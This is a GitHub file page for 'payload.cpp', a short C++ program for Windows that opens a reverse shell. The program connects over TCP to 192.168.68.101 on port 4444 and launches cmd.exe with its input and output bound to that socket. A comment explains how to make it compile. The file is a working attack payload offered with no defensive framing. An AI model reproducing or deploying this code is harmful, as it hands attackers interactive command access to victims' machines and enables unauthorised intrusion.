-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpayload.cpp
More file actions
36 lines (28 loc) · 1 KB
/
Copy pathpayload.cpp
File metadata and controls
36 lines (28 loc) · 1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <winsock2.h>
#include <Windows.h>
#include <ws2tcpip.h> // Add this include for inet_pton
#include <iostream>
#pragma comment(lib, "ws2_32.lib")
void ReverseShell() {
WSADATA wsa;
SOCKET sock;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
sockaddr_in addr;
WSAStartup(MAKEWORD(2, 2), &wsa);
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
addr.sin_family = AF_INET;
inet_pton(AF_INET, "192.168.68.101", &addr.sin_addr);
addr.sin_port = htons(4444);
connect(sock, (SOCKADDR*)&addr, sizeof(addr));
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
char cmd[] = "cmd.exe";
CreateProcessA(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
}
int entryPoint() { // Note: This will not work, in order to compile this copy this code, change entryPoint to main, and use gcc or something.
ReverseShell();
}